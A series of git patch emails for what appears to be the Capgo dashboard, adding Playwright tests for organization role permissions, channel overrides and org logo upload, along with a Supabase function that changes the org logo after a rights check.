Date: Thu, 16 Nov 2023 06:35:50 +0100
Subject: [PATCH 65/96] Start testing settings + test channel overwrite

---
 tests/organization_system.spec.ts | 60 +++++++++++++++++++++++++++----
 1 file changed, 54 insertions(+), 6 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 269d00db37..53b826df69 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,5 +1,4 @@
 // import type { Page } from '@playwright/test'
-import { count } from 'node:console'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import type { SupabaseType } from './utils'
@@ -126,7 +125,7 @@ test.describe('Test organization invitation accept', () => {
         const allOrgs = await allOrgsLocator.all()
 
         // Check the name of the 'demo org' (We invite user to this org above)
-        let supabase = await useSupabase()
+        let supabase = await useSupabase(page)
         const { data: demoOrgName, error } = await supabase.from('orgs')
           .select()
           .eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
@@ -654,15 +653,64 @@ test.describe('Test organization system permissions', () => {
           await expect(page.locator('#action-sheet')).toBeVisible()
           actionSheetButtons = await page.locator('#action-sheet > div > button').all()
 
-          const cancelButton = await findButtonInActionSheet(actionSheetButtons, 'cancel')
-          await expect(cancelButton).toBeTruthy()
-          await cancelButton!.click()
+          // Now let's add an overwrite
+          const specificChannel = await findButtonInActionSheet(actionSheetButtons, 'no_access')
+          await expect(specificChannel).toBeTruthy()
+          await specificChannel!.click()
+
+          const { error: channelOverwriteError } = await supabase.from('channel_devices')
+            .select('app_id')
+            .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+            .single()
+
+          await expect(channelOverwriteError).toBeFalsy()
+
+          await expect(page.locator('#action-sheet')).toBeHidden()
+
+          // Now let's delete this channel overwrite
+          await updateChannelLocator.click()
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+          const removeButton = await findButtonInActionSheet(actionSheetButtons, 'remove')
+          await expect(removeButton).toBeTruthy()
+          await removeButton!.click()
+
+          await awaitPopout(page)
+          const finalRemoveButton = await findPopoutButton(page, 'delete')
+
+          await expect(finalRemoveButton).toBeTruthy()
+          await finalRemoveButton!.click()
+
+          const { error: channelOverwriteRemoveError, count: channelOverwritesCount } = await supabase.from('channel_devices')
+            .select('app_id', { count: 'exact' })
+            .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+
+          await expect(channelOverwriteRemoveError).toBeFalsy()
+          await expect(channelOverwritesCount).toBe(0)
         }
         else {
           await expectPopout(page, 'Insufficient permissions')
           const innerHtml = await updateChannelLocator.innerHTML()
           expect(innerHtml.includes('click to add')).toBe(false)
         }
+
+        // TODO: Once stats are no longer a total mess test stats
+        // Test org settings
+
+        await page.goto(`${BASE_URL}/dashboard/settings/account`)
+
+        // Get supabase client user id and the current org owner
+        const currentOrgDetails = await getOrgDetails(page, supabase)
+        const clientSupabase = await useSupabase(page)
+
+        const clientSupabaseUser = await clientSupabase.auth.getUser()
+        await expect(clientSupabaseUser.error).toBeFalsy()
+        await expect(clientSupabaseUser.data).toBeTruthy()
+        await expect(clientSupabaseUser.data.user).toBeTruthy()
+
+        const currentUserId = clientSupabaseUser!.data!.user!.id
+        await expect(currentOrgDetails.created_by).toBe(currentUserId)
       })
     })
   }
@@ -694,7 +742,7 @@ async function getOrgName(page: Page): Promise<string> {
 
 async function getOrgDetails(page: Page, supabase?: SupabaseType): Promise<Database['public']['Tables']['orgs']['Row']> {
   if (!supabase)
-    supabase = await useSupabase()
+    supabase = await useSupabase(page)
 
   const orgName = await getOrgName(page)
 

From 23f68ce6540f8bbe302845cdc33175c6b8f01e5b Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Fri, 17 Nov 2023 06:32:32 +0100
Subject: [PATCH 66/96] Test supabase value change

---
 package.json                              |  4 ++-
 pnpm-lock.yaml                            | 14 +++++++++
 src/pages/app/p/[p]/channel/[channel].vue |  1 -
 tests/auth.setup.ts                       | 33 ++++++++++++---------
 tests/organization_system.spec.ts         | 36 +++++++++++++++++++++--
 tests/utils.ts                            |  7 +++--
 6 files changed, 75 insertions(+), 20 deletions(-)

diff --git a/package.json b/package.json
index 502dc5719c..5e06be8433 100644
--- a/package.json
+++ b/package.json
@@ -191,6 +191,8 @@
     "vite-plugin-vue-layouts": "0.8.0",
     "vite-plugin-windicss": "1.9.1",
     "vitest": "0.34.3",
-    "vue-tsc": "1.8.19"
+    "vue-tsc": "1.8.19",
+    "deep-diff": "1.0.2",
+    "@types/deep-diff": "1.0.5"
   }
 }
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index d6d0f28bb3..7e9ad09990 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -319,6 +319,9 @@ devDependencies:
   '@types/adm-zip':
     specifier: ^0.5.0
     version: 0.5.0
+  '@types/deep-diff':
+    specifier: 1.0.5
+    version: 1.0.5
   '@types/dompurify':
     specifier: 3.0.3
     version: 3.0.3
@@ -373,6 +376,9 @@ devDependencies:
   cypress:
     specifier: 12.9.0
     version: 12.9.0
+  deep-diff:
+    specifier: 1.0.2
+    version: 1.0.2
   eslint:
     specifier: 8.48.0
     version: 8.48.0
@@ -4325,6 +4331,10 @@ packages:
       '@types/ms': 0.7.31
     dev: true
 
+  /@types/deep-diff@1.0.5:
+    resolution: {integrity: sha512-PQyNSy1YMZU1hgZA5tTYfHPpUAo9Dorn1PZho2/budQLfqLu3JIP37JAavnwYpR1S2yFZTXa3hxaE4ifGW5jaA==}
+    dev: true
+
   /@types/diff@5.0.3:
     resolution: {integrity: sha512-amrLbRqTU9bXMCc6uX0sWpxsQzRIo9z6MJPkH1pkez/qOxuqSZVuryJAWoBRq94CeG8JxY+VK4Le9HtjQR5T9A==}
     dev: false
@@ -7417,6 +7427,10 @@ packages:
       mimic-response: 3.1.0
     dev: false
 
+  /deep-diff@1.0.2:
+    resolution: {integrity: sha512-aWS3UIVH+NPGCD1kki+DCU9Dua032iSsO43LqQpcs4R3+dVv7tX0qBGjiVHJHjplsoUM2XRO/KB92glqc68awg==}
+    dev: true
+
   /deep-eql@4.1.3:
     resolution: {integrity: sha512-WaEtAOpRA1MQ0eohqZjpGD8zdI0Ovsm8mmFhaDN8dvDZzyoUMcYDnf5Y6iu7HTXxf8JDS23qWa4a+hKCDyOPzw==}
     engines: {node: '>=6'}
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index 127b370616..ac92f3adf3 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -598,7 +598,6 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('channel-progressive-deploy')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
-                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.enable_progressive_deploy"
diff --git a/tests/auth.setup.ts b/tests/auth.setup.ts
index 1d5197de2b..a24cc9be96 100644
--- a/tests/auth.setup.ts
+++ b/tests/auth.setup.ts
@@ -2,13 +2,15 @@ import { expect, test as setup } from '@playwright/test'
 
 const BASE_URL = 'http://localhost:5173'
 const authFile1 = 'playwright/.auth/user1.json'
-// const authFile2 = 'playwright/.auth/user2.json'
+const authFile2 = 'playwright/.auth/user2.json'
 
 setup('authenticate as test1', async ({ page }) => {
   await page.goto(`${BASE_URL}/`)
 
+  const email = 'test@capgo.app'
+
   // Fill in the username and password fields
-  await page.fill('input[name="email"]', 'test@capgo.app')
+  await page.fill('input[name="email"]', email)
   await page.fill('input[name="password"]', 'testtest')
 
   // Click the submit button
@@ -17,22 +19,25 @@ setup('authenticate as test1', async ({ page }) => {
   // Expect the URL to change to the logged in dashboard
   await expect(page).toHaveURL(`${BASE_URL}/app/home`, { timeout: 60_000 })
 
+  await page.evaluate(email => localStorage.setItem('supabase-email', email), email)
   await page.context().storageState({ path: authFile1 })
 })
 
-// This will be usefull some day
-// setup('authenticate as test2', async ({ page }) => {
-//   await page.goto(`${BASE_URL}/login`)
+setup('authenticate as test2', async ({ page }) => {
+  await page.goto(`${BASE_URL}/`)
+
+  const email = 'test2@capgo.app'
 
-//   // Fill in the username and password fields
-//   await page.fill('input[name="email"]', 'test2@capgo.app')
-//   await page.fill('input[name="password"]', 'testtest')
+  // Fill in the username and password fields
+  await page.fill('input[name="email"]', email)
+  await page.fill('input[name="password"]', 'testtest')
 
-//   // Click the submit button
-//   await page.getByRole('button', { name: 'Log in' }).click()
+  // Click the submit button
+  await page.getByRole('button', { name: 'Log in' }).click()
 
-//   // Expect the URL to change to the logged in dashboard
-//   await expect(page).toHaveURL(`${BASE_URL}/app/home`, { timeout: 60_000 })
+  // Expect the URL to change to the logged in dashboard
+  await expect(page).toHaveURL(`${BASE_URL}/app/home`, { timeout: 60_000 })
 
-//   await page.context().storageState({ path: authFile2 })
-// })
+  await page.evaluate(email => localStorage.setItem('supabase-email', email), email)
+  await page.context().storageState({ path: authFile2 })
+})
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 53b826df69..37e9e3fab1 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,6 +1,7 @@
 // import type { Page } from '@playwright/test'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
+import { diff } from 'deep-diff'
 import type { SupabaseType } from './utils'
 import { BASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
@@ -306,6 +307,9 @@ test.describe('Test organization system permissions', () => {
         const { error: error7 } = await supabase.from('devices_override').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
         await expect(error7).toBeFalsy()
 
+        // const { error: error8 } = await supabase.from('channel_devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
+        // await expect(error8).toBeFalsy()
+
         channelSnapshots = data
         bundleSnapshot = bundleVersion
         deviceSnapshot = deviceData
@@ -438,14 +442,37 @@ test.describe('Test organization system permissions', () => {
 
         for (const toggle of ktoggles) {
           const oldState = await toggle.isChecked()
+
+          async function getSupabaseProdChannelState(supabase: SupabaseType): Database['public']['Tables']['channels']['Row'] {
+            const { data, error } = await supabase.from('channels')
+              .select('*')
+              .eq('name', 'production')
+              .single()
+
+            await expect(error).toBeFalsy()
+            await expect(data).toBeTruthy()
+
+            return data!
+          }
+
+          const oldSupabaseState = await getSupabaseProdChannelState(supabase)
+
           await toggle.click()
           const newState = await toggle.isChecked()
 
-          if (permission.changeChannelToggle)
+          const newSupabaseState = await getSupabaseProdChannelState(supabase)
+          const diffArr = diff(oldSupabaseState, newSupabaseState)
+
+          if (permission.changeChannelToggle) {
             expect(newState).toBe(!oldState)
+            await expect(diffArr).toBeTruthy()
+            await expect(diffArr?.length).toBeGreaterThanOrEqual(2)
+          }
 
-          else
+          else {
+            await expect(diffArr).toBeFalsy()
             await expectPopout(page, 'Insufficient permissions')
+          }
         }
 
         // We check the 'public' switch. This swich opens up a menu so we cannot add this in the loop
@@ -634,6 +661,7 @@ test.describe('Test organization system permissions', () => {
 
           await expect(finalRemoveButton).toBeTruthy()
           await finalRemoveButton!.click()
+          await expectPopout(page, 'Unlink version')
 
           const { error: versionOverwriteRemoveError, count: versionOverwritesCount } = await supabase.from('devices_override')
             .select('version', { count: 'exact' })
@@ -658,6 +686,8 @@ test.describe('Test organization system permissions', () => {
           await expect(specificChannel).toBeTruthy()
           await specificChannel!.click()
 
+          await expectPopout(page, 'Channel override setted')
+
           const { error: channelOverwriteError } = await supabase.from('channel_devices')
             .select('app_id')
             .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
@@ -682,6 +712,8 @@ test.describe('Test organization system permissions', () => {
           await expect(finalRemoveButton).toBeTruthy()
           await finalRemoveButton!.click()
 
+          await expectPopout(page, 'Unlink channel')
+
           const { error: channelOverwriteRemoveError, count: channelOverwritesCount } = await supabase.from('channel_devices')
             .select('app_id', { count: 'exact' })
             .eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
diff --git a/tests/utils.ts b/tests/utils.ts
index af9d0daa70..06e01a6d6f 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -37,7 +37,7 @@ export async function expectPopout(page: Page, toHave: string) {
   }
 }
 
-export async function useSupabase() {
+export async function useSupabase(page: Page) {
   const options: SupabaseClientOptions<'public'> = {
     auth: {
       autoRefreshToken: false,
@@ -51,8 +51,11 @@ export async function useSupabase() {
   // eslint-disable-next-line n/prefer-global/process
   supaClient = createClient<Database>(process.env.SUPABASE_URL ?? defaultSupabaseUrl, process.env.SUPABASE_ANON ?? defaultSupabaseAnonKey, options)
 
+  const supabaseEmail = await page.evaluate(() => localStorage.getItem('supabase-email'))
+  await expect(supabaseEmail).toBeTruthy()
+
   const { error } = await supaClient.auth.signInWithPassword({
-    email: DEFAULT_EMAIL,
+    email: supabaseEmail!,
     password: DEFAULT_PASSWORD,
   })
 

From 477490846029b993e2209cdffc5db38131bfce60 Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Sat, 18 Nov 2023 19:07:35 +0100
Subject: [PATCH 67/96] Fix settings + add test for img upload

---
 src/layouts/settings.vue                      | 20 +++--
 src/pages/app/p/[p]/channel/[channel].vue     |  1 +
 .../settings/organization/General.vue         |  5 +-
 src/services/photos.ts                        | 19 ++++-
 src/types/supabase.types.ts                   | 28 ++++---
 supabase/migrations/20230815171919_base.sql   | 31 +++++++
 tests/organization_system.spec.ts             | 82 ++++++++++++++++++-
 tests/utils.ts                                |  3 +
 8 files changed, 164 insertions(+), 25 deletions(-)

diff --git a/src/layouts/settings.vue b/src/layouts/settings.vue
index bfc6f423db..0cd7cab8ea 100644
--- a/src/layouts/settings.vue
+++ b/src/layouts/settings.vue
@@ -59,8 +59,8 @@ const organizationTabs = ref<Tab[]>([
   },
 ])
 
-const type: 'user' | 'organization' = ref('user')
 const router = useRouter()
+const type = ref<'user' | 'organization'>(router.currentRoute.value.path.includes('organization') ? 'organization' : 'user')
 
 watch(type, (val) => {
   let key
@@ -100,6 +100,14 @@ if (main.user?.id) {
   }
 }
 
+async function gotoOrgSettings() {
+  type.value = 'organization'
+}
+
+function gotoMainSettings() {
+  type.value = 'user'
+}
+
 displayStore.NavTitle = t('settings')
 </script>
 
@@ -115,19 +123,19 @@ displayStore.NavTitle = t('settings')
         <ul class="flex flex-wrap -mb-px">
           <li class="mr-2">
             <a
-              href="#" class="inline-block p-4 border-b-2 rounded-t-lg"
+              class="inline-block p-4 border-b-2 rounded-t-lg cursor-pointer"
               :class="type === 'user' ? 'text-blue-600 border-blue-600 active dark:text-blue-500 dark:border-blue-500' : 'dark:hover:text-gray-300'"
               aria-current="page"
-              @click="type = 'user'"
+              @click="gotoMainSettings"
             >Your settings</a>
           </li>
           <li class="mr-2">
             <a
-              href="#" class="inline-block p-4 border-b-2 rounded-t-lg"
+              class="inline-block p-4 border-b-2 rounded-t-lg cursor-pointer"
               :class="type === 'organization' ? 'text-blue-600 border-blue-600 active dark:text-blue-500 dark:border-blue-500' : 'dark:hover:text-gray-300'"
               aria-current="page"
-              @click="type = 'organization'"
-            >{{ currentOrganization ? `${currentOrganization.name}'s settings'` : 'Organization settings' }} </a>
+              @click="gotoOrgSettings"
+            >{{ 'Organization settings' }} </a>
           </li>
         </ul>
       </div>
diff --git a/src/pages/app/p/[p]/channel/[channel].vue b/src/pages/app/p/[p]/channel/[channel].vue
index ac92f3adf3..127b370616 100644
--- a/src/pages/app/p/[p]/channel/[channel].vue
+++ b/src/pages/app/p/[p]/channel/[channel].vue
@@ -598,6 +598,7 @@ async function onChangeAutoUpdate(event: Event) {
             <k-list-item label :title="t('channel-progressive-deploy')" class="text-lg text-gray-700 dark:text-gray-200">
               <template #after>
                 <k-toggle
+                  id="ktoggle"
                   class="-my-1 k-color-success"
                   component="div"
                   :checked="channel?.enable_progressive_deploy"
diff --git a/src/pages/dashboard/settings/organization/General.vue b/src/pages/dashboard/settings/organization/General.vue
index 96e9636685..758a409ea3 100644
--- a/src/pages/dashboard/settings/organization/General.vue
+++ b/src/pages/dashboard/settings/organization/General.vue
@@ -108,14 +108,15 @@ function onInputKeyDown(event: Event) {
           <div class="flex items-center">
             <div class="mr-4">
               <img
-                v-if="currentOrganization?.logo" class="object-cover w-20 h-20 mask mask-squircle" :src="currentOrganization.logo"
+                v-if="currentOrganization?.logo"
+                id="org-avatar" class="object-cover w-20 h-20 mask mask-squircle" :src="currentOrganization.logo"
                 width="80" height="80" alt="User upload"
               >
               <div v-else class="flex items-center justify-center w-20 h-20 text-4xl border border-black rounded-full dark:border-white">
                 <p>{{ 'N/A' }}</p>
               </div>
             </div>
-            <button type="button" class="px-3 py-2 text-xs font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" @click="presentActionSheet">
+            <button id="change-org-pic" type="button" class="px-3 py-2 text-xs font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800" @click="presentActionSheet">
               {{ t('change') }}
             </button>
           </div>
diff --git a/src/services/photos.ts b/src/services/photos.ts
index d365dd9164..f6c758754d 100644
--- a/src/services/photos.ts
+++ b/src/services/photos.ts
@@ -62,11 +62,26 @@ async function updloadPhotoOrg(data: string, fileName: string, contentType: stri
     if (!success)
       return
 
+    const gid = organizationStore.currentOrganization?.gid
+    const userId = main.user?.id
+
+    if (!gid || !userId) {
+      console.error('No current org id or user id', gid, userId)
+      return
+    }
+
+    const { data: status, error: setLogoError } = await supabase.rpc('change_org_logo', {
+      logo: url,
+      org_id: gid,
+    })
+
+    if (setLogoError)
+      console.error('Cannot set org avatar', setLogoError)
+
     const { data: usr, error: dbError } = await supabase
       .from('orgs')
-      .update({ logo: url })
-      .eq('created_by', main.user?.id)
       .select()
+      .eq('created_by', userId)
       .single()
 
     if (!usr || dbError) {
diff --git a/src/types/supabase.types.ts b/src/types/supabase.types.ts
index 4a25176e5c..e89b71b145 100644
--- a/src/types/supabase.types.ts
+++ b/src/types/supabase.types.ts
@@ -1071,6 +1071,13 @@ export interface Database {
         }
         Returns: string
       }
+      change_org_logo: {
+        Args: {
+          logo: string
+          org_id: string
+        }
+        Returns: string
+      }
       check_min_rights:
         | {
             Args: {
@@ -1431,6 +1438,12 @@ export interface Database {
         }
         Returns: string
       }
+      get_user_main_org_id_by_app_id: {
+        Args: {
+          app_id: string
+        }
+        Returns: string
+      }
       get_weekly_stats: {
         Args: {
           app_id: string
@@ -1684,17 +1697,10 @@ export interface Database {
         }
         Returns: boolean
       }
-      is_onboarded:
-        | {
-            Args: Record<PropertyKey, never>
-            Returns: boolean
-          }
-        | {
-            Args: {
-              userid: string
-            }
-            Returns: boolean
-          }
+      is_onboarded: {
+        Args: Record<PropertyKey, never>
+        Returns: boolean
+      }
       is_onboarding_needed:
         | {
             Args: Record<PropertyKey, never>
diff --git a/supabase/migrations/20230815171919_base.sql b/supabase/migrations/20230815171919_base.sql
index 3d90c643b4..3c0edeab51 100644
--- a/supabase/migrations/20230815171919_base.sql
+++ b/supabase/migrations/20230815171919_base.sql
@@ -814,6 +814,37 @@ Begin
 End;
 $$;
 
+-- TODO: Add grant and revoke for this fn
+CREATE FUNCTION "public"."change_org_logo"("logo" "varchar", "org_id" "uuid") RETURNS "varchar"
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+  org record;
+  invited_user record;
+  current_record record;
+Begin
+  SELECT * FROM ORGS
+  INTO org
+  WHERE id=change_org_logo.org_id;
+
+  IF org IS NULL THEN
+    return 'NO_ORG';
+  END IF;
+
+  IF NOT (org.created_by=auth.uid()) THEN
+      if NOT (check_min_rights('admin'::user_min_right, auth.uid(), change_org_logo.org_id, NULL::character varying, NULL::bigint)) THEN
+          return 'NO_RIGHTS';
+      END IF;
+  END IF;
+
+  UPDATE orgs
+  SET logo = change_org_logo.logo
+  WHERE id = change_org_logo.org_id;
+
+  RETURN 'OK';
+End;
+$$;
+
 CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
     LANGUAGE "plpgsql" SECURITY DEFINER
     AS $$
diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 37e9e3fab1..068b4e9a66 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -1,9 +1,11 @@
 // import type { Page } from '@playwright/test'
+import path from 'node:path'
+import { readFileSync } from 'node:fs'
 import type { Locator, Page } from '@playwright/test'
 import { expect, test } from '@playwright/test'
 import { diff } from 'deep-diff'
 import type { SupabaseType } from './utils'
-import { BASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
+import { BASE_URL, SUPABASE_URL, awaitPopout, beforeEachTest, expectPopout, firstItemAsync, useSupabase, useSupabaseAdmin } from './utils'
 import type { Database } from '~/types/supabase.types'
 
 test.beforeEach(beforeEachTest)
@@ -187,6 +189,7 @@ test.describe('Test organization system permissions', () => {
       setDeviceCustomId: false,
       forceDeviceChannel: false,
       forceDeviceVersion: false,
+      changeOrgPicture: false,
     },
     upload: {
       deleteChannel: false,
@@ -201,6 +204,7 @@ test.describe('Test organization system permissions', () => {
       setDeviceCustomId: false,
       forceDeviceChannel: false,
       forceDeviceVersion: false,
+      changeOrgPicture: false,
     },
     write: {
       deleteChannel: false,
@@ -215,6 +219,7 @@ test.describe('Test organization system permissions', () => {
       setDeviceCustomId: true,
       forceDeviceChannel: true,
       forceDeviceVersion: true,
+      changeOrgPicture: false,
     },
     admin: {
       deleteChannel: true,
@@ -229,6 +234,7 @@ test.describe('Test organization system permissions', () => {
       setDeviceCustomId: true,
       forceDeviceChannel: true,
       forceDeviceVersion: true,
+      changeOrgPicture: true,
     },
     owner: {
       deleteChannel: true,
@@ -243,6 +249,7 @@ test.describe('Test organization system permissions', () => {
       setDeviceCustomId: true,
       forceDeviceChannel: true,
       forceDeviceVersion: true,
+      changeOrgPicture: true,
     },
   }
 
@@ -307,6 +314,9 @@ test.describe('Test organization system permissions', () => {
         const { error: error7 } = await supabase.from('devices_override').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
         await expect(error7).toBeFalsy()
 
+        const { error: error8 } = await supabase.from('orgs').update({ logo: null }).eq('id', '046a36ac-e03c-4590-9257-bd6c9dba9ee8')
+        expect(error8).toBeFalsy()
+
         // const { error: error8 } = await supabase.from('channel_devices').delete().eq('device_id', '00009a6b-eefe-490a-9c60-8e965132ae51')
         // await expect(error8).toBeFalsy()
 
@@ -443,7 +453,7 @@ test.describe('Test organization system permissions', () => {
         for (const toggle of ktoggles) {
           const oldState = await toggle.isChecked()
 
-          async function getSupabaseProdChannelState(supabase: SupabaseType): Database['public']['Tables']['channels']['Row'] {
+          async function getSupabaseProdChannelState(supa1base: SupabaseType): Promise<Database['public']['Tables']['channels']['Row']> {
             const { data, error } = await supabase.from('channels')
               .select('*')
               .eq('name', 'production')
@@ -458,7 +468,10 @@ test.describe('Test organization system permissions', () => {
           const oldSupabaseState = await getSupabaseProdChannelState(supabase)
 
           await toggle.click()
-          const newState = await toggle.isChecked()
+          let newState = await toggle.isChecked()
+
+          if (permission.changeChannelToggle)
+            await page.waitForRequest(`${SUPABASE_URL}\/**`)
 
           const newSupabaseState = await getSupabaseProdChannelState(supabase)
           const diffArr = diff(oldSupabaseState, newSupabaseState)
@@ -467,6 +480,10 @@ test.describe('Test organization system permissions', () => {
             expect(newState).toBe(!oldState)
             await expect(diffArr).toBeTruthy()
             await expect(diffArr?.length).toBeGreaterThanOrEqual(2)
+
+            await toggle.click()
+            newState = await toggle.isChecked()
+            expect(newState).toBe(oldState)
           }
 
           else {
@@ -730,7 +747,7 @@ test.describe('Test organization system permissions', () => {
         // TODO: Once stats are no longer a total mess test stats
         // Test org settings
 
-        await page.goto(`${BASE_URL}/dashboard/settings/account`)
+        await page.goto(`${BASE_URL}/dashboard/settings/organization/general`)
 
         // Get supabase client user id and the current org owner
         const currentOrgDetails = await getOrgDetails(page, supabase)
@@ -743,6 +760,63 @@ test.describe('Test organization system permissions', () => {
 
         const currentUserId = clientSupabaseUser!.data!.user!.id
         await expect(currentOrgDetails.created_by).toBe(currentUserId)
+
+        // Let's select the 'demo org'
+
+        await page.click('#organization-picker')
+        const allOrgsLocator = await page.locator('#dropdown-org > ul > li')
+
+        await expect(allOrgsLocator).toHaveCount(2)
+        const demoOrgButton = await firstItemAsync(await allOrgsLocator.all(), async (orgName) => {
+          return (await orgName.innerHTML()).includes('Demo org')
+        })
+
+        expect(demoOrgButton).toBeTruthy()
+        await demoOrgButton?.click()
+
+        expect(await getOrgName(page)).toBe('Demo org')
+        // Start by trying to change the picture. Might be a bit hard to test for
+
+        await page.locator('#change-org-pic').click()
+
+        if (permission.changeOrgPicture) {
+          await expect(page.locator('#action-sheet')).toBeVisible()
+          actionSheetButtons = await page.locator('#action-sheet > div > button').all()
+
+          const browseFilesButton = await findButtonInActionSheet(actionSheetButtons, 'browse')
+          await expect(browseFilesButton).toBeTruthy()
+          const cameraInputLocator = page.locator('#_capacitor-camera-input-multiple')
+
+          await browseFilesButton?.click()
+          await expect(cameraInputLocator).toHaveCount(1)
+          await cameraInputLocator.setInputFiles(path.join(__dirname, 'smile.png'))
+
+          // Check if the avatar exists
+          const avatarLocator = page.locator('#org-avatar')
+          await expect(avatarLocator).toHaveCount(1)
+
+          // Download the new avatar
+          const avatarUrl = await avatarLocator.getAttribute('src')
+          expect(avatarUrl).toBeTruthy()
+
+          const avatarResponse = await fetch(avatarUrl!)
+          expect(avatarResponse.status).toBe(200)
+
+          const avatarRemoteData = new Uint8Array(await avatarResponse.arrayBuffer())
+          expect(avatarRemoteData.length).toBeGreaterThan(0)
+
+          // Read the local file
+          const localAvatarData = new Uint8Array(readFileSync(path.join(__dirname, 'smile.png')))
+          expect(localAvatarData.length).toBeGreaterThan(0)
+
+          // Compare local avatar and the remote versions
+          expect(localAvatarData.length).toBe(avatarRemoteData.length)
+          const avatarsMatch = avatarRemoteData.every((v, i) => v === localAvatarData[i])
+          expect(avatarsMatch).toBe(true)
+        }
+        else {
+          // await expectPopout(page, 'Insufficient permissions')
+        }
       })
     })
   }
diff --git a/tests/utils.ts b/tests/utils.ts
index 06e01a6d6f..04795b9419 100644
--- a/tests/utils.ts
+++ b/tests/utils.ts
@@ -64,6 +64,9 @@ export async function useSupabase(page: Page) {
   return supaClient
 }
 
+// eslint-disable-next-line n/prefer-global/process
+export const SUPABASE_URL = process.env.SUPABASE_URL ?? defaultSupabaseUrl
+
 export async function useSupabaseAdmin() {
   const options: SupabaseClientOptions<'public'> = {
     auth: {

From 25aad8e05a7b86bd71e36e98c9ca22ca056057dd Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 20 Nov 2023 05:34:25 +0100
Subject: [PATCH 68/96] Fix race condition + prevent file opener from opening

---
 tests/organization_system.spec.ts | 43 +++++++++++++++++++++++++++----
 1 file changed, 38 insertions(+), 5 deletions(-)

diff --git a/tests/organization_system.spec.ts b/tests/organization_system.spec.ts
index 068b4e9a66..f043d8ef43 100644
--- a/tests/organization_system.spec.ts
+++ b/tests/organization_system.spec.ts
@@ -467,11 +467,17 @@ test.describe('Test organization system permissions', () => {
 
           const oldSupabaseState = await getSupabaseProdChannelState(supabase)
 
-          await toggle.click()
-          let newState = await toggle.isChecked()
+          if (permission.changeChannelToggle) {
+            await Promise.all([
+              page.waitForRequest(`${SUPABASE_URL}\/**`),
+              await toggle.click(),
+            ])
+          }
+          else {
+            await toggle.click()
+          }
 
-          if (permission.changeChannelToggle)
-            await page.waitForRequest(`${SUPABASE_URL}\/**`)
+          let newState = await toggle.isChecked()
 
           const newSupabaseState = await getSupabaseProdChannelState(supabase)
           const diffArr = diff(oldSupabaseState, newSupabaseState)
@@ -787,6 +793,33 @@ test.describe('Test organization system permissions', () => {
           await expect(browseFilesButton).toBeTruthy()
           const cameraInputLocator = page.locator('#_capacitor-camera-input-multiple')
 
+          // Add an event listener to prevent file open from accually opening
+          await page.evaluate(() => {
+            const onClick = (event: MouseEvent) => {
+              if (!event.target)
+                return
+
+              console.log('tar', event.target)
+
+              if ('getAttribute' in event.target) {
+                const element = event.target as any as Element
+                const id = element.getAttribute('id')
+                if (!id)
+                  return
+
+                if (!id.includes('camera-input'))
+                  return
+
+                event.preventDefault()
+                document.removeEventListener('click', onClick, true)
+              }
+            }
+
+            document.addEventListener('click', onClick, true)
+          })
+
+          // await page.evaluate(eventClickFunction => document.addEventListener('click', eventClickFunction), eventClickFunction)
+
           await browseFilesButton?.click()
           await expect(cameraInputLocator).toHaveCount(1)
           await cameraInputLocator.setInputFiles(path.join(__dirname, 'smile.png'))
@@ -815,7 +848,7 @@ test.describe('Test organization system permissions', () => {
           expect(avatarsMatch).toBe(true)
         }
         else {
-          // await expectPopout(page, 'Insufficient permissions')
+          await expectPopout(page, 'Insufficient permissions')
         }
       })
     })

From 1fd0fd4f7681bf762eb79b886cce7e409e69ab6d Mon Sep 17 00:00:00 2001
From: WcaleNieWolny <isupermichael007@gmail.com>
Date: Mon, 20 Nov 2023 19:00:18 +0100
Subject: [PATCH 69/96] Test members + fix photos upload + test set org name

---
